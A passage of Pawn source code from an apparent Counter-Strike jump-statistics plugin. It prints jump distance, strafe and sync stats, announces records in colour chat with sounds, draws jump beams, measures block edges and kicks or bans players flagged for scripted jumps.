set_hudmessage(f_stats_r, f_stats_g, f_stats_b, duck_x,duck_y, 0, 6.0, 2.5, 0.1, 0.3, h_duck);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT7",strMBuf); //stata duckov fail
}
}
}
*/
//console prints
for( new i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]) && g_lj_stats[i]==true)
{
copy(strMessBuf,strLen,strMess);
if((jump_type[id]==Type_ladderBhop || jump_type[id]==Type_ladder || jump_type[id]==Type_Drop_BhopLongJump || jump_type[id]==Type_WeirdLongJump || jump_type[id]==Type_LongJump || jump_type[id]==Type_HighJump) )
{
client_print( i, print_console, " ");
client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT1", type, distance[id], maxspeed[id], gain[id], prestrafe[id], strafe_num[id],sync_[id] );
}
else if(jump_type[id]==Type_Multi_Bhop )
{
client_print( i, print_console, " ");
client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT2", type, distance[id], maxspeed[id], gain[id], prestrafe[id], strafe_num[id],sync_[id] ,bhop_num[id]);
}
else if(jump_type[id]==Type_CountJump || (multiscj[id]==0 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==0 && jump_type[id] == Type_Drop_CountJump))
{
client_print( i, print_console, " ");
client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT3", type, distance[id], maxspeed[id], gain[id], prest1[id], prestrafe[id], strafe_num[id],sync_[id],dd_sync[id] );
}
else if(jump_type[id]==Type_Bhop_In_Duck || jump_type[id]==Type_Up_Bhop_In_Duck || jump_type[id]==Type_Up_Stand_Bhop || jump_type[id]==Type_Up_Bhop || jump_type[id]==Type_Real_ladder_Bhop || jump_type[id]==Type_DuckBhop || jump_type[id] == Type_BhopLongJump || jump_type[id] == Type_StandupBhopLongJump)
{
client_print( i, print_console, " ");
client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT1", type, distance[id], maxspeed[id], gain[id], prestrafe[id], strafe_num[id],sync_[id] );
}
else if(jump_type[id]==Type_Double_CountJump || (multiscj[id]==1 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==1 && jump_type[id] == Type_Drop_CountJump))
{
client_print( i, print_console, " ");
client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT4", type, distance[id], maxspeed[id], gain[id], prest1[id],prest[id], prestrafe[id], strafe_num[id],sync_[id],dd_sync[id] );
client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT5",dd_sync[id]);
}
else if(jump_type[id]==Type_Multi_CountJump || (multiscj[id]==2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==2 && jump_type[id] == Type_Drop_CountJump))
{
client_print( i, print_console, " ");
client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT6", type, distance[id], maxspeed[id], gain[id], prest1[id],prestrafe[id],ducks[id],strafe_num[id], sync_[id]);
client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT5",dd_sync[id]);
}
if(jump_type[id]!=Type_None)
{
static strMessHalf[40];
for(jj=INFO_ONE; (jj <= strafe_num[id]) && (jj < NSTRAFES);jj++)
{
strtok(strMessBuf,strMessHalf,40,strMessBuf,40*NSTRAFES,'^n');
replace(strMessHalf,40,"^n","");
client_print(i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT7", strMessHalf);
}
}
if(jump_type[id]==Type_ladder && strafe_stat_speed[id][0][0]!=0)
{
client_print(i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT12", strafe_stat_speed[id][0][0]);
}
else if(jump_type[id]==Type_Multi_CountJump || (multiscj[id]==2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==2 && jump_type[id] == Type_Drop_CountJump))
{
client_print( i, print_console, "..................................................");
client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT8",prest1[id]);
for(new ss=2;ss<=ducks[id];ss++)
client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT9",ss-1,statsduckspeed[id][ss]);
client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT10",prestrafe[id]);
client_print( i, print_console, "..................................................");
}
else if(jump_type[id]==Type_Double_CountJump || (multiscj[id]==1 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==1 && jump_type[id] == Type_Drop_CountJump))
{
client_print( i, print_console, "..................................................");
client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT8",prest1[id]);
client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT11",prest[id]);
client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT10",prestrafe[id]);
client_print( i, print_console, "..................................................");
}
else if(jump_type[id]==Type_Up_Bhop || jump_type[id]==Type_Up_Stand_Bhop || jump_type[id]==Type_Up_Bhop_In_Duck)
{
client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT13",upheight[id]);
}
if(wpn!=29 && wpn!=17 && wpn!=16)
{
client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT14",weapon_name);
}
if(fps_hight[id] && jump_type[id]!=Type_ladder)
{
client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT15");
fps_hight[id]=false;
}
if(ladderbug[id])
{
client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT16");
ladderbug[id]=false;
}
if(find_ladder[id] && jump_type[id]==Type_DuckBhop)
{
client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT17");
find_ladder[id]=false;
}
if(touch_somthing[id])
{
client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT18");
}
if(Show_edge[id] && failed_jump[id]==false && jump_type[id]!=Type_ladder && jumpblock[id]<user_block[id][0] && jumpblock[id]>user_block[id][1] && edgedist[id]<100.0 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
if((jumpblock[id]+Landing+edgedist[id])>(distance[id]+10.0) || Landing<=0.0)
{
client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT21",jumpblock[id],edgedist[id]);
}
else if(land_bug )
{
client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT19",jumpblock[id],edgedist[id],Landing);
}
else client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT20",jumpblock[id],edgedist[id],Landing);
}
else if(Show_edge[id] && failed_jump[id] && jump_type[id]!=Type_ladder && jumpblock[id]<user_block[id][0] && jumpblock[id]>user_block[id][1] && edgedist[id]<100.0 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT21",jumpblock[id],edgedist[id]);
}
else if(Show_edge_Fail[id] && failed_jump[id] && jump_type[id]!=Type_ladder && edgedist[id]<100.0 && edgedist[id]!=0.0)
{
client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT22",edgedist[id]);
}
if(find_script)
{
client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_PROBSCRIPT");
}
if(trigger_protection[id])
{
client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CTRIGGERPROTECT");
trigger_protection[id]=false;
}
}
}
if(wpn==29 || wpn==17 || wpn==16 || wpn==4 || wpn==9 || wpn==25)
{
formatex(weapon_name,20,"");
}
else
{
new tmp_str[21];
formatex(tmp_str,20,"[");
add(weapon_name, 20, "]");
add(tmp_str, 20, weapon_name);
formatex(weapon_name,20,tmp_str);
}
if(find_script)
{
new punishment[64];
formatex(punishment,63,"%L",LANG_SERVER,"UQSTATS_PUNISHBLOCK");
switch(uq_script_punishment)
{
case 1:
{
formatex(punishment,63,"%L",LANG_SERVER,"UQSTATS_PUNISHKICK");
}
case 2:
{
formatex(punishment,63,"%L",LANG_SERVER,"UQSTATS_PUNISHBAN",uq_ban_minutes);
}
}
if(jump_type[id]!=Type_None)
{
Log_script(FullJumpFrames[id],angles_arry[id],id,distance[id],maxspeed[id],prestrafe[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp),Jtype[id],weapon_name1,punishment,strMess);
switch(uq_script_punishment)
{
case 1:
{
kick_function(id,Jtype[id]);
}
case 2:
{
ban_function(id,Jtype[id]);
}
}
}
}
new block_colorchat_dist;
if(uq_block_chat_show)
{
block_colorchat_dist=god_dist;
switch(uq_block_chat_min)
{
case 0:
block_colorchat_dist=good_dist;
case 1:
block_colorchat_dist=pro_dist;
case 2:
block_colorchat_dist=holy_dist;
case 3:
block_colorchat_dist=leet_dist;
case 4:
block_colorchat_dist=god_dist;
}
}
new block_str[20];
if(jumpblock[id]>=block_colorchat_dist && uq_block_chat_show && jumpblock[id]<user_block[id][0] && jumpblock[id]>user_block[id][1] && edgedist[id]<100.0 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
{
formatex(block_str,19,"%L",LANG_SERVER,"UQSTATS_COLORCHAT_BLOCK",jumpblock[id]);
}
else
{
formatex(block_str,19,"");
}
new iPlayers[32],iNum;
get_players( iPlayers, iNum,"ch") ;
for(new i=0;i<=iNum;i++)
{
new ids=iPlayers[i];
if(gHasColorChat[ids] ==true || ids==id)
{
if( !failed_jump[id] )
{
if((jump_type[id]==Type_Bhop_In_Duck || jump_type[id]==Type_Up_Bhop_In_Duck || jump_type[id]==Type_Up_Stand_Bhop || jump_type[id]==Type_Up_Bhop || jump_type[id]==Type_DuckBhop || jump_type[id]==Type_Real_ladder_Bhop || jump_type[id]==Type_Double_CountJump
|| (multiscj[id]!=2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]!=2 && jump_type[id]==Type_Drop_CountJump) || jump_type[id]==Type_CountJump
|| jump_type[id]==Type_Drop_BhopLongJump || jump_type[id]==Type_BhopLongJump || jump_type[id]==Type_StandupBhopLongJump || jump_type[id]==Type_WeirdLongJump
|| jump_type[id]==Type_ladderBhop || jump_type[id]==Type_ladder || jump_type[id]==Type_LongJump || jump_type[id]==Type_HighJump))
{
if ( distance[id] >= god_dist ) {
if( uq_sounds && enable_sound[ids]==true )
{
client_cmd(ids, "speak misc/mod_godlike");
}
if( uq_light ) krasnota(id);
Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],/*goodSyncTemp*100/(goodSyncTemp+badSyncTemp)*/sync_[id]);
}
else if ( distance[id] >= leet_dist ) {
if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/mod_wickedsick");
if( uq_light ) krasnota(id);
Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
}
else if ( distance[id] >= holy_dist ) {
if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/holyshit");
if( uq_light ) sineva(id);
Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
}
else if ( distance[id] >= pro_dist ) {
if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/perfect");
Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
}
else if ( distance[id] >=good_dist ) {
if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/impressive");
Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
}
}
if(jump_type[id]==Type_Multi_CountJump || (multiscj[id]==2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==2 && jump_type[id]==Type_Drop_CountJump))
{
if ( distance[id] >= god_dist ) {
if( uq_sounds && enable_sound[ids]==true )
{
client_cmd(ids, "speak misc/mod_godlike");
}
if( uq_light ) krasnota(id);
Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
}
else if ( distance[id] >= leet_dist ) {
if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/mod_wickedsick");
if( uq_light ) krasnota(id);
Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
}
else if ( distance[id] >= holy_dist ) {
if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/holyshit");
if( uq_light ) sineva(id);
Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
}
else if ( distance[id] >= pro_dist ) {
if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/perfect");
Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
}
else if ( distance[id] >=good_dist ) {
if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/impressive");
Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
}
}
}
}
}
// UberBeam start
if( kz_beam[id]==true)
{
for( new i = 0; i < 100; i++ ) {
if( gBeam_points[id][i][0] == 0.0
&& gBeam_points[id][i][1] == 0.0
&& gBeam_points[id][i][2] == 0.0 ) {
continue;
}
message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
write_byte ( TE_BEAMPOINTS );
if( i == 100 ) {
write_coord(floatround(gBeam_points[id][i][0]));
write_coord(floatround(gBeam_points[id][i][1]));
write_coord(floatround(jumpoff_origin[id][2]-34.0));
write_coord(floatround(land_origin[0]));
write_coord(floatround(land_origin[1]));
write_coord(floatround(jumpoff_origin[id][2]-34.0));
} else {
if ( i > 2 ) {
write_coord(floatround(gBeam_points[id][i-1][0]));
write_coord(floatround(gBeam_points[id][i-1][1]));
write_coord(floatround(jumpoff_origin[id][2]-34.0));
} else {
write_coord(floatround(jumpoff_origin[id][0]));
write_coord(floatround(jumpoff_origin[id][1]));
write_coord(floatround(jumpoff_origin[id][2]-34.0));
}
write_coord(floatround(gBeam_points[id][i][0]));
write_coord(floatround(gBeam_points[id][i][1]));
write_coord(floatround(jumpoff_origin[id][2]-34.0));
}
write_short(gBeam);
write_byte(1);
write_byte(5);
write_byte(30);
write_byte(20);
write_byte(0);
if(gBeam_duck[id][i])
{
write_byte(255);
write_byte(0);
write_byte(0);
}
else if(beam_type[id]==2 && gBeam_button[id][i])
{
if(gBeam_button_what[id][i]==1)
{
write_byte(0);
write_byte(255);
write_byte(0);
}
else if(gBeam_button_what[id][i]==2)
{
write_byte(0);
write_byte(0);
write_byte(255);
}
}
else
{
write_byte(255);
write_byte(255);
write_byte(0);
}
write_byte(200);
write_byte(200);
message_end();
}
}
JumpReset(id,25);
}
new bool:posible_dropcj;
if(button & IN_DUCK && !(oldbuttons &IN_DUCK) && (jump_type[id]==Type_Drop_BhopLongJump || jump_type[id]==Type_WeirdLongJump))
{
new Float:tmpdropcj_start[3],Float:tmpdropcj_end[3],Float:tmpdropcj_frame[3];
pev(id, pev_origin, origin);
tmpdropcj_start=origin;
tmpdropcj_start[2]=tmpdropcj_start[2]-36.0;
tmpdropcj_end=tmpdropcj_start;
tmpdropcj_end[2]=tmpdropcj_end[2]-20;
engfunc(EngFunc_TraceLine,origin,tmpdropcj_end, IGNORE_GLASS, id, 0);
get_tr2( 0, TR_vecEndPos, tmpdropcj_frame);
if(tmpdropcj_start[2]-tmpdropcj_frame[2]<=18.0)
{
posible_dropcj=true;
in_duck[id]=false;
}
else posible_dropcj=false;
}
if(!in_air[id] && button & IN_DUCK && !(oldbuttons &IN_DUCK) && (flags & FL_ONGROUND || posible_dropcj) && !in_duck[id] && UpcjFail[id]==false)
{
if( get_gametime( ) - duckoff_time[id] < 0.3 )
{
started_multicj_pre[id] = true;
prest[id]= speed[id];
ducks[id]++;
statsduckspeed[id][ducks[id]]=speed[id];
new Float:tmporg_z;
if(is_user_ducking(id))
{
tmporg_z=origin[2]+18.0;
}
else tmporg_z=origin[2];
if(tmporg_z-first_duck_z[id]>4.0)
{
JumpReset(id,654);
if(dropbhop[id])
dropbhop[id]=false;
if(in_ladder[id])
in_ladder[id]=false;
dropupcj[id]=true;
return FMRES_IGNORED;
}
for( new i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]))
{
if(showpre[id]==true && showduck[id]==true)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_DUCKPRE",speed[i]);
}
}
}
}
else
{
pev(id, pev_origin, origin);
ducks[id]=0;
prest1[id]= speed[id]; //ground pre
ducks[id]++;//schetchik duckov
duckstartz[id]=origin[2];
statsduckspeed[id][ducks[id]]=speed[id];//dlya vivoda stati po ducka
started_cj_pre[id] = true;
nextbhop[id]=false;
bhopaem[id]=false;
if(first_duck_z[id] && (origin[2]-first_duck_z[id])>4)
{
dropupcj[id]=true;
JumpReset(id,655);
if(dropbhop[id])
dropbhop[id]=false;
if(in_ladder[id])
in_ladder[id]=false;
return FMRES_IGNORED;
}
if(ducks[id]==1)
{
if(is_user_ducking(id))
{
first_duck_z[id]=origin[2]+18.0;
}
else first_duck_z[id]=origin[2];
}
if(dropupcj[id]==false && get_gametime()-FallTime[id]<0.3 && (in_ladder[id] || jump_type[id]==Type_ladderBhop || jump_type[id]==Type_Drop_BhopLongJump || jump_type[id]==Type_WeirdLongJump || dropbhop[id]))
{
in_ladder[id]=false;
jump_type[id] = Type_Drop_CountJump;
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DRCJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DRCJ");
multidropcj[id]=0;
dropaem[id]=true;
if(dropbhop[id])
dropbhop[id]=false;
if(in_ladder[id])
in_ladder[id]=false;
}
for( new i = INFO_ONE; i < max_players; i++ )
{
if( (i == id || is_spec_user[i]))
{
if(showpre[id]==true && showduck[id]==true)
{
set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_DUCKPRE",speed[i]);
}
}
}
}
in_duck[id] = true;
}
else if( !in_air[id] && oldbuttons & IN_DUCK && (flags & FL_ONGROUND || posible_dropcj) && UpcjFail[id]==false)
{
if( !is_user_ducking( id ) )
{
in_duck[id] = false;
if( started_cj_pre[id] )
{
started_cj_pre[id] = false;
duckoff_time[id] = get_gametime( );
duckoff_origin[id] = origin;
FallTime1[id]=get_gametime();
strafe_num[id] = 0;
TempSpeed[id] = 0.0;
if(jump_type[id] != Type_Drop_CountJump)
{
jump_type[id] = Type_CountJump;
jump_typeOld[id]=1;
if(nextbhop[id] || bhopaem[id])
{
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_CJAJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_CJAJ");
CjafterJump[id]=1;
ddafterJump[id]=true;
}
else
{
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_CJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_CJ");
CjafterJump[id]=0;
ddafterJump[id]=false;
}
}
else
{
FallTime[id]=get_gametime();
multidropcj[id]=0;
jump_typeOld[id]=1;
}
}
else if( started_multicj_pre[id] )
{
started_multicj_pre[id] = false;
duckoff_time[id] = get_gametime( );
duckoff_origin[id] = origin;
FallTime1[id]=get_gametime();
strafe_num[id] = 0;
TempSpeed[id] = 0.0;
if(jump_type[id] != Type_Drop_CountJump)
{
jump_type[id] = Type_Double_CountJump;
jump_typeOld[id]=2;
if(nextbhop[id] || bhopaem[id])
{
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DCJAJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DCJAJ");
CjafterJump[id]=2;
ddafterJump[id]=true;
}
else
{
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DCJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DCJ");
CjafterJump[id]=0;
ddafterJump[id]=false;
}
}
else
{
multidropcj[id]=1;
FallTime[id]=get_gametime();
jump_typeOld[id]=2;
}
}
if(ducks[id]>2)
{
if(jump_type[id] != Type_Drop_CountJump)
{
jump_type[id] = Type_Multi_CountJump; //detect mcj
jump_typeOld[id]=3;
if(nextbhop[id] || bhopaem[id])
{
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MCJAJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MCJAJ");
CjafterJump[id]=3;
ddafterJump[id]=true;
}
else
{
formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MCJ");
formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MCJ");
CjafterJump[id]=0;
ddafterJump[id]=false;
}
}
else
{
multidropcj[id]=2;
FallTime[id]=get_gametime();
jump_typeOld[id]=3;
}
}
}
}
if(flags&FL_ONGROUND && g_Jumped[id]==false && jofon[id] && movetype[id] != MOVETYPE_FLY)
{
new Float:new_origin[3],Float:tmpOrigin[3], Float:tmpOrigin2[3];
pev(id,pev_origin,new_origin);
new_origin[2]=new_origin[2]-36.1;
pev(id, pev_velocity, velocity);
for(new i=0,j=-18;i<3;i++,j=j+18)
{
tmpOrigin=new_origin;
tmpOrigin2=new_origin;
if(velocity[1]>0 && floatabs(velocity[1])>floatabs(velocity[0]))
{
tmpOrigin[1]=new_origin[1]+200;
tmpOrigin2[1]=new_origin[1]-16;
tmpOrigin[0]=tmpOrigin[0]+j;
tmpOrigin2[0]=tmpOrigin2[0]+j;
}
else if(velocity[1]<0 && floatabs(velocity[1])>floatabs(velocity[0]))
{
tmpOrigin[1]=new_origin[1]-200;
tmpOrigin2[1]=new_origin[1]+16;
tmpOrigin[0]=tmpOrigin[0]+j;
tmpOrigin2[0]=tmpOrigin2[0]+j;
}
else if(velocity[0]>0 && floatabs(velocity[0])>floatabs(velocity[1]))
{
tmpOrigin[0]=new_origin[0]+200;
tmpOrigin2[0]=new_origin[0]-16;
tmpOrigin[1]=tmpOrigin[1]+j;
tmpOrigin2[1]=tmpOrigin2[1]+j;
}
else if(velocity[0]<0 && floatabs(velocity[0])>floatabs(velocity[1]))
{
tmpOrigin[0]=new_origin[0]-200;
tmpOrigin2[0]=new_origin[0]+16;
tmpOrigin[1]=tmpOrigin[1]+j;
tmpOrigin2[1]=tmpOrigin2[1]+j;
}
new Float:tmpEdgeOrigin[3];
engfunc(EngFunc_TraceLine,tmpOrigin,tmpOrigin2, IGNORE_GLASS, id, 0);
get_tr2( 0, TR_vecEndPos, tmpEdgeOrigin);
if(get_distance_f(tmpEdgeOrigin,tmpOrigin2)!=0.0)
{
jof[id]=get_distance_f(tmpEdgeOrigin,tmpOrigin2)-0.031250;
}
}
}
else if(!(flags&FL_ONGROUND) && g_Jumped[id] && edgedone[id]==false && movetype[id] != MOVETYPE_FLY)
{
new onbhopblock,bhop_block[1];
find_sphere_class(id,"func_door", 48.0, bhop_block, 1, Float:{0.0, 0.0, 0.0} );
if(bhop_block[0])
{
onbhopblock=true;
}
else
{
onbhopblock=false;
}
new Float:tmpblock[3],tmpjblock[3],Float:new_origin[3],Float:tmpOrigin[3], Float:tmpOrigin2[3];
new_origin=jumpoff_origin[id];
if(onbhopblock)
{
new_origin[2]=new_origin[2]-40.0;
}
else new_origin[2]=new_origin[2]-36.1;
pev(id, pev_velocity, velocity);
new block_checking[3];
for(new i=0,j=-18;i<3;i++,j=j+18)
{
tmpOrigin=new_origin;
tmpOrigin2=new_origin;
tmpblock=new_origin;
if(velocity[1]>0 && floatabs(velocity[1])>floatabs(velocity[0]))
{
tmpOrigin[1]=new_origin[1]+100;
tmpOrigin2[1]=new_origin[1]-16;
tmpOrigin[0]=tmpOrigin[0]+j;
tmpOrigin2[0]=tmpOrigin2[0]+j;
tmpblock[1]=new_origin[1]+uq_maxedge+1;
tmpblock[0]=tmpblock[0]+j;
}
else if(velocity[1]<0 && floatabs(velocity[1])>floatabs(velocity[0]))
{
tmpOrigin[1]=new_origin[1]-100;
tmpOrigin2[1]=new_origin[1]+16;
tmpOrigin[0]=tmpOrigin[0]+j;
tmpOrigin2[0]=tmpOrigin2[0]+j;
tmpblock[1]=new_origin[1]-uq_maxedge+1;
tmpblock[0]=tmpblock[0]+j;
}
else if(velocity[0]>0 && floatabs(velocity[0])>floatabs(velocity[1]))
{
tmpOrigin[0]=new_origin[0]+100;
tmpOrigin2[0]=new_origin[0]-16;
tmpOrigin[1]=tmpOrigin[1]+j;
tmpOrigin2[1]=tmpOrigin2[1]+j;
tmpblock[0]=new_origin[0]+uq_maxedge+1;
tmpblock[1]=tmpblock[1]+j;
}
else if(velocity[0]<0 && floatabs(velocity[0])>floatabs(velocity[1]))
{
tmpOrigin[0]=new_origin[0]-100;
tmpOrigin2[0]=new_origin[0]+16;
tmpOrigin[1]=tmpOrigin[1]+j;
tmpOrigin2[1]=tmpOrigin2[1]+j;
tmpblock[0]=new_origin[0]-uq_maxedge+1;
tmpblock[1]=tmpblock[1]+j;
}
new Float:tmpEdgeOrigin[3];
engfunc(EngFunc_TraceLine,tmpOrigin,tmpOrigin2, IGNORE_GLASS, id, 0);
get_tr2( 0, TR_vecEndPos, tmpEdgeOrigin);
if(get_distance_f(tmpEdgeOrigin,tmpOrigin2)!=0.0)
{
edgedist[id]=get_distance_f(tmpEdgeOrigin,tmpOrigin2)-0.031250;
}
new Float:tmpblockOrigin[3];
engfunc(EngFunc_TraceLine,tmpEdgeOrigin,tmpblock, IGNORE_GLASS, id, 0);
get_tr2( 0, TR_vecEndPos, tmpblockOrigin);
if(get_distance_f(tmpblockOrigin,tmpEdgeOrigin)!=0.0)
{
tmpjblock[i]=floatround(get_distance_f(tmpblockOrigin,tmpEdgeOrigin),floatround_floor)+1;
}
new Float:checkblock1[3],Float:checkblock2[3];
tmpblockOrigin[2]=tmpblockOrigin[2]-1.0;
checkblock1=tmpblockOrigin;
if(velocity[1]>0 && floatabs(velocity[1])>floatabs(velocity[0]))
{
checkblock1[1]=checkblock1[1]+2.0;
}
else if(velocity[1]<0 && floatabs(velocity[1])>floatabs(velocity[0]))
{
checkblock1[1]=checkblock1[1]-2.0;
}
else if(velocity[0]>0 && floatabs(velocity[0])>floatabs(velocity[1]))
{
checkblock1[0]=checkblock1[0]+2.0;
}
else if(velocity[0]<0 && floatabs(velocity[0])>floatabs(velocity[1]))
{
checkblock1[0]=checkblock1[0]-2.0;
}
checkblock2=checkblock1;
checkblock2[2]=checkblock2[2]+18.0;
new Float:tmpcheckblock[3];
engfunc(EngFunc_TraceLine,checkblock2,checkblock1, IGNORE_GLASS, id, 0);
get_tr2( 0, TR_vecEndPos, tmpcheckblock);
if(floatabs(tmpblockOrigin[2]-tmpcheckblock[2])==0.0)
{
block_checking[i]=1;
}
edgedone[id]=true;
}
if(tmpjblock[0]!=0 && tmpjblock[0]<=tmpjblock[1] && tmpjblock[0]<=tmpjblock[2])
{
